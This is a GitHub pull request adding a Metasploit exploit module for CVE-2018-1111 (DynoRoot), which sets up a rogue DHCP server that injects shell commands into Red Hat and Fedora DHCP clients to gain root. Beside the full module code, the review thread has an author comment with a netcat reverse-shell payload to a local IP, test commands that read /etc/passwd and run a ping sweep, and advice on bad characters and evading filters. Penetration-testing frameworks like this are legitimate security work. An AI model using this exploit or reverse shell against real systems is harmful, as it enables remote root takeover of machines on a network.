Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add CVE-2018-1111 exploit #10059

Merged
merged 14 commits into from
Jun 12, 2018
1 change: 1 addition & 0 deletions lib/rex/proto/dhcp/constants.rb
Original file line number Diff line number Diff line change
Expand Up @@ -23,6 +23,7 @@ module DHCP
OpDns = 6
OpHostname = 0x0c
OpURL = 0x72
OpProxyAutodiscovery = 0xfc
OpEnd = 0xff

PXEMagic = "\xF1\x00\x74\x7E"
Expand Down
5 changes: 3 additions & 2 deletions lib/rex/proto/dhcp/server.rb
Original file line number Diff line number Diff line change
Expand Up @@ -128,7 +128,7 @@ def stop
def set_option(opts)
allowed_options = [
:serveOnce, :pxealtconfigfile, :servePXE, :relayip, :leasetime, :dnsserv,
:pxeconfigfile, :pxepathprefix, :pxereboottime, :router,
:pxeconfigfile, :pxepathprefix, :pxereboottime, :router, :proxy_auto_discovery,
:give_hostname, :served_hostname, :served_over, :serveOnlyPXE, :domain_name, :url
]

Expand All @@ -154,7 +154,7 @@ def send_packet(ip, pkt)
end

attr_accessor :listen_host, :listen_port, :context, :leasetime, :relayip, :router, :dnsserv
attr_accessor :domain_name
attr_accessor :domain_name, :proxy_auto_discovery
attr_accessor :sock, :thread, :myfilename, :ipstring, :served, :serveOnce
attr_accessor :current_ip, :start_ip, :end_ip, :broadcasta, :netmaskn
attr_accessor :servePXE, :pxeconfigfile, :pxealtconfigfile, :pxepathprefix, :pxereboottime, :serveOnlyPXE
Expand Down Expand Up @@ -292,6 +292,7 @@ def dispatch_request(from, buf)
end

# Options!
pkt << dhcpoption(OpProxyAutodiscovery, self.proxy_auto_discovery) if self.proxy_auto_discovery
pkt << dhcpoption(OpDHCPServer, self.ipstring)
pkt << dhcpoption(OpLeaseTime, [self.leasetime].pack('N'))
pkt << dhcpoption(OpSubnetMask, self.netmaskn)
Expand Down
75 changes: 75 additions & 0 deletions modules/exploits/unix/dhcp/rhel_dhcp_client_command_injection.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,75 @@
##
# This module requires Metasploit: http://metasploit.com/download
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

https

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed, good eye!

# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/proto/dhcp'
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Already required in the mixin.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Removed. Good catch!


class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::DHCPServer

def initialize(info = {})
super(update_info(info,
'Name' => 'DHCP Client Command Injection (DynoRoot)',
'Description' => %q{
This module exploits the DynoRoot vulnerability, a flaw in how the
NetworkManager integration script included in the DHCP client in
Red Hat Enterprise Linux 6 and 7, Fedora 28, and earlier
processes DHCP options. A malicious DHCP server, or an attacker on
the local network able to spoof DHCP responses, could use this flaw
to execute arbitrary commands with root privileges on systems using
NetworkManager and configured to obtain network configuration using
the DHCP protocol.
},
'Author' =>
[
'Felix Wilhelm', # Vulnerability discovery
'Kevin Kirsche <d3c3pt10n[AT]deceiveyour.team>' # Metasploit module
],
'License' => MSF_LICENSE,
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You can add a 'Privileged' => true, key to this hash somewhere, to show off that your exploit gives remote r00t.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed

'References' =>
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Feel free to include your own PoC in this array. :)

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'd add an AKA reference for DynoRoot, too.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Added

[
['CVE', '2018-1111'],
['URL', 'https://twitter.com/_fel1x/status/996388421273882626?lang=en'],
['URL', 'https://access.redhat.com/security/vulnerabilities/3442151'],
['URL', 'https://dynoroot.ninja/'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2018-1111'],
['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1111']
],
'Payload' =>
{
# 255 for a domain name, minus some room for encoding
'Space' => 200,
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'd have to check the RFC(s), but does this still apply to options?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Based on RFC2132, seems like it does not.

Options may be fixed length or variable
   length.  All options begin with a tag octet, which uniquely
   identifies the option.  Fixed-length options without data consist of
   only a tag octet.  Only options 0 and 255 are fixed length.  All
   other options are variable-length with a length octet following the
   tag octet.  The value of the length octet does not include the two
   octets specifying the tag and length.  The length octet is followed
   by "length" octets of data.  Options containing NVT ASCII data SHOULD
   NOT include a trailing NULL; however, the receiver of such options
   MUST be prepared to delete trailing nulls if they exist.  The
   receiver MUST NOT require that a trailing null be included in the
   data.  In the case of some variable-length options the length field
   is a constant but must still be specified.

https://tools.ietf.org/html/rfc2132

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Cool, didn't think so. Phew!

'DisableNops' => true,
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Speaking of space, I'm pretty sure this doesn't apply. Nothing to pad with NOPs. This thing doesn't even need NOPs.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Removed

'Compat' =>
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'd remove this hash altogether. cmd for PayloadType already includes most, and you're not specifying RequiredCmd. And this vuln isn't targeting an appliance or anything where the environment is known, so we shouldn't need to limit ourselves.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Removed this for PayloadType cmd instead

{
'PayloadType' => 'cmd',
}
},
'Targets' => [ [ 'Automatic Target', { }] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 15 2018'
))

deregister_options('DOMAINNAME', 'HOSTNAME', 'URL')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Might be more to deregister here, such as any PXE options.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'll remove FILENAME related to PXE, don't know that any of the others like DHCPIP start and end, BROADCAST, ROUTER, etc. are related to PXE

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Removed FILENAME, others didn't seem like they were related to PXE in show options or show advanced

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Cool, thanks.

end

def exploit
hash = datastore.copy
start_service(hash)
@dhcp.set_option(proxy_auto_discovery: "x'&#{payload.encoded} #")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Feels like you'd have some badchars from the injection. Would be worthwhile to perform badchar analysis and then update BadChars.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Do you have any suggestions for how to perform that analysis? Unlike a buffer overflow where I can investigate the registers, I don't have a good sense of how I'd do that with a command injection like this

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'd start by looking at my injection and eliminating as many shell metacharacters or otherwise "breaking" characters as I can.

Then I'd encode away the remaining ones, escape them, quote them, comment them out, or match them. Then I'd verify with strace, ltrace, etc.

It really depends on the vuln, the environment, and the payload. Hope this helps.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I didn't dig into this vuln deeply yet, but judging by the injection used here, you shouldn't have to worry about too many badchars.

Appears a string is being completed (matched quotes), previous command backgrounded, payload injected, and everything else commented out. It's a tried-and-true technique.

You can probably randomize the x.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Another thing to watch out for is if you have badchars in the protocol or otherwise over the wire. Sometimes your injection can look solid from the software side but get messed up on the networking side.

Lastly, you may want to account for software or network protections. Something like a WAF would have to be evaded. I don't think that's much of a concern here.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Good bot.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Added a randomization on the x here

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It's almost certainly not capped at one byte either. Might want to use a longer random-length random string.

Copy link
Contributor

@bcoles bcoles May 18, 2018

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I was under the impression that Space was of concern here.

Edit Apparently space is no longer a concern, in which case: Rex::Text.rand_text_alpha(6..12) to generate 6 to 12 random alpha characters.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

mzdPvddRUFMT'&mkfifo /tmp/klgcql; nc 192.168.41.128 1337 0</tmp/klgcql | /bin/sh >/tmp/klgcql 2>&1; rm /tmp/klgcql  #

A few different manual tests I've been doing to see if some shell functionality does or doesn't work:

set CMD cat /etc/passwd | cut -d ':' -f 1 > /tmp/test && cat /tmp/test | cut -d '-' -f 1 > /tmp/test2
set CMD "for i in $(seq -s ' ' 1 255); do ping -c 1 \"192.168.41.${i}\" 2>&1; done > /tmp/pingsweep"

Worked and felt relatively contrived in their design, trying to hit many different types of command characters


begin
while @dhcp.thread.alive?
sleep 2
end
ensure
stop_service
end
end
end